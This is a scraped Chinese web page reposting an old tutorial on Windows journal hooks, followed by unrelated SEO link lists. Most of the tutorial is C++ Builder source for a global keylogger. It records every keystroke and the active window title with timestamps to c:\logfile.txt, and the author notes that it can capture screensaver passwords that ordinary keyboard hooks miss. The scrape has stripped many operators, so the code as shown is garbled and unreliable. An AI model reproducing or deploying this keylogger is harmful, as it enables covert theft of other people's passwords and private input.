当前位置: 首页 > news >正文

专业网站建设收费长沙市住房和建设局官方网站

专业网站建设收费,长沙市住房和建设局官方网站,最大网站建设公司排名,外网如何查看局域网建设的网站-- 钩子是WINDOWS中消息处理机制的一个要点#xff0c;通过安装各种钩子#xff0c;应用程序能够设置相应的子例程来监视系统里的消息传递以及在这些消息到达目标窗口程序之前处理它们。钩子的种类很多#xff0c;每种钩子可以截获并处理相应的消息#xff0c;如键盘钩子可…-- 钩子是WINDOWS中消息处理机制的一个要点通过安装各种钩子应用程序能够设置相应的子例程来监视系统里的消息传递以及在这些消息到达目标窗口程序之前处理它们。钩子的种类很多每种钩子可以截获并处理相应的消息如键盘钩子可以截获键盘消息鼠标钩子可以截获鼠标消息外壳钩子可以截获启动和关闭应用程序的消息日志钩子可以监视和记录输入事件。钩子分为线程专用钩子和全局钩子线程专用钩子只监视指定的线程要监视系统中的所有线程必须用到全局钩子。对于全局钩子钩子函数必须包含在独立的动态链接库(DLL)中这样才能被各种相关联的应用程序调用。在WINDOWS中日志钩子是个很特别的钩子它只有全局钩子一种是键盘鼠标等输入设备的消息在系统消息队列被取出时发生的而且系统中只能存在一个这样的日志钩子更重要是它不必用在动态链接库中这样可以省却了为安装一个全局钩子而建立一个动态链接库的麻烦。利用日志钩子我们可以监视各种输入事件下面的示例可以用来记录键盘的输入当有按键发生时自动记录按键动作的日期和时间以及当前激活的窗口名称。本示例在中文WIN98Borland C Builder4中编译通过。 ---- 1新建一个工程在窗体Form1中放置两个按钮Button1和Button2, CAPTION分别 为“安装日志钩子”和“卸载日志钩子”。 ---- 2 定义如下全局变量 HHOOK g_hLogHookNULL; //钩子变量 HWND g_hLastFocusNULL; //记录上一次得到焦点的窗口句柄 const int KeyPressMask0x80000000; //键盘掩码常量 char g_PrvChar; //保存上一次按键值3在Button1的OnClick事件中输入void __fastcall TForm1::Button1Click(TObject *Sender){if (g_hLogHookNULL)g_hLogHook SetWindowsHookEx (WH_JOURNALRECORD,(HOOKPROC)JournalLogProc, HInstance,0); //安装日志钩子}4在Button2的OnClick事件中输入void __fastcall TForm1::Button2Click(TObject *Sender) {if (g_hLogHook!NULL){UnhookWindowsHookEx(g_hLogHook);g_hLogHookNULL;} //卸载日志钩子 }5输入钩子回调函数 HOOKPROC JournalLogProc(int iCode, WPARAM wParam, LPARAM lParam) {if (iCode0) return (HOOKPROC)CallNextHookEx (g_hLogHook,iCode,wParam,lParam); if (iCodeHC_ACTION) {EVENTMSG *pEvt(EVENTMSG *)lParam; int i; HWND hFocus; //保存当前活动窗口句柄 char szTitle[256]; //当前窗口名称 char szTime[128]; //保存当前的日期和时间 FILE *streamfopen(“c:\\logfile.txt”,at); if (pEvt-messageWM_KEYDOWN) {int vKeyLOBYTE(pEvt- paramL); // 取得虚拟键值char ch;char str[10];hFocusGetActiveWindow(); //取得当前活动窗口句柄if(g_hLastFocus!hFocus) //当前活动窗口是否改变{GetWindowText(hFocus,szTitle,256);g_hLastFocushFocus;strcpy(szTime,DateTimeToStr(Now()) .c_str()); //得到当前的日期时间fprintf(stream,%c%s%c%c%s, 10,szTime,32,32,szTitle); //写入文件fprintf(stream,%c%c,32,32); }int iShiftGetKeyState(0x10); //测试SHIFT,CAPTION,NUMLOCK等键是否按下int iCapitalGetKeyState(0x14);int iNumLockGetKeyState(0x90);bool bShift(iShift KeyPressMask)KeyPressMask; bool bCapital(iCapital 1)1;bool bNumLock(iNumLock 1)1;if (vKey 48 vKey57) // 数字0-9 if (!bShift) fprintf(stream,%c,vKey); if (vKey65 vKey90) // A-Z a-z {if (!bCapital) if (bShift) chvKey; else chvKey32; else if (bShift) chvKey32; else chvKey; fprintf(stream,%c,ch); } if (vKey96 vKey105) // 小键盘0-9 if (bNumLock) fprintf(stream,%c,vKey-9648); if (vKey186 vKey222) // 其他键 {switch (vKey) {case 186:if (!bShift) ch; ; else ch: ;break; case 187:if (!bShift) ch ; else ch ;break; case 188:if (!bShift) ch, ; else ch ;break; case 189:if (!bShift) ch- ; else ch_ ;break; case 190:if (!bShift) ch. ; else ch ;break; case 191:if (!bShift) ch/ ; else ch? ;break; case 192:if (!bShift) ch ; else ch~ ;break; case 219:if (!bShift) ch[ ; else ch{ ;break; case 220:if (!bShift) ch\\ ; else ch| ;break; case 221:if (!bShift) ch] ; else ch} ;break; case 222:if (!bShift) ch\ ; else ch\ ;break; default:chn ;break; } if (ch!n ) fprintf(stream,%c,ch); } // if (wParam112 wParam123) // 功能键 [F1]-[F12] if (vKey8 vKey46) //方向键 {switch (vKey) {case 8:strcpy(str,[BK]);break; case 9:strcpy(str,[TAB]);break; case 13:strcpy(str,[EN]);break; case 32:strcpy(str,[SP]);break; case 33:strcpy(str,[PU]);break; case 34:strcpy(str,[PD]);break; case 35:strcpy(str,[END]);break; case 36:strcpy(str,[HOME]);break; case 37:strcpy(str,[LF]);break; case 38:strcpy(str,[UF]);break; case 39:strcpy(str,[RF]);break; case 40:strcpy(str,[DF]);break; case 45:strcpy(str,[INS]);break; case 46:strcpy(str,[DEL]);break; default:chn ;break; } if (ch!n ) {if (g_PrvChar!vKey) {fprintf(stream,%s,str); g_PrvCharvKey; } } } } if (pEvt-messageWM_LBUTTONDOWN || pEvt- message WM_RBUTTONDOWN){hFocusGetActiveWindow();if (g_hLastFocus!hFocus){g_hLastFocushFocus;GetWindowText(hFocus,szTitle,256); strcpy(szTime,DateTimeToStr(Now()).c_str()); //得到当前的日期时间fprintf(stream,%c%s%c%c%s, 10,szTime,32,32,szTitle); //写入文件fprintf(stream,%c%c,32,32); }}fclose(stream);return (HOOKPROC)CallNextHookEx (g_hLogHook,iCode,wParam,lParam); }---- 将工程编译执行后每当激活一个窗口时就会把当前窗口名称写入文件c:\logfile.txt中当有按键时按键的名称也会写入此文件中这里的并没有处理全部的按键读者可根据需要添加相应的语句。要捕捉键盘的按键动作用键盘钩子(Keyboard Hook)也同样可以实现但是用日志钩子却比键盘钩子要方便许多。首先如果要捕捉其他应用程序的按键即做成全局钩子键盘钩子一定要单独放在动态链接库中而日志钩子却不必其次在键盘钩子函数得到的键盘按键之前系统已经处理过这些输入了如果系统把这些按键屏蔽掉键盘钩子就无法检测到它们例如当输入屏幕保护程序密码时键盘钩子无法检测到用户输入了那些字符而日志钩子却可以检测到。 ---- 无论是哪种钩子 都会增加系统处理消息的时间从而降低系统的性能我们只有在必要的时候才安装这些钩子而且尽可能在不需要时移走它们。 转载于:https://www.cnblogs.com/henryzc/archive/2005/10/27/262990.html
http://www.huolong8.cn/news/292349/

相关文章:

  • 前程无忧招聘网站标记怎么做麦当劳订餐网站 是谁做的
  • 陕西省城乡住房和建设厅网站国外免费空间
  • 网站的建设步骤包括对网站开发实训的建议
  • 行业网站建设方案网站开发专业是干嘛的
  • 网站开发项目实训总结移动互联网开发软件设计
  • 软件开发 网站开发区别建设企业银行登录
  • 网站建设接单吧定制商城网站的费用
  • 新乡网站建设那家好高明网站设计服务
  • 做网站的调研报告昆明网络开发公司
  • 计算机专业论文网站开发关键词设定在网站上
  • 深圳做网站要多少安徽网站优化多少钱
  • 网站建设需要做些什么做便民工具网站
  • 禁止浏览器访问一个网站怎么做软文营销的本质
  • 网站建设 手机app网站服务器租一个月
  • 公司网站建设 阜阳百度推广关键词优化
  • 织梦 去掉我的网站wordpress 侧边栏菜单
  • 溧水区住房建设局网站北京朝阳区哪里有网站开发
  • 证券投资网站建设做网站的大骗子
  • 网站建设公司何去何从违章建设举报网站
  • 企业解决方案网站seo论坛站长交流
  • 佛山购物网站建设河北网站开发费用
  • 网站建设投放广告seoapp推广
  • 鞍山网站制作开发桂林漓江一号
  • 免费的网站后台管理系统wordpress插件访客
  • 杭州网站建站模板高级网站开发工程师考试题
  • 青岛提供网站建设哪家便宜淘宝官方网站登录页面
  • 广州骏域网站建设专家手机电脑版物流网站
  • 职高网站建设知识点网站设计开发中的具体步骤
  • 苏州专业建站艺术设计类网站
  • 重庆点优建设网站公司网站建设的基本特点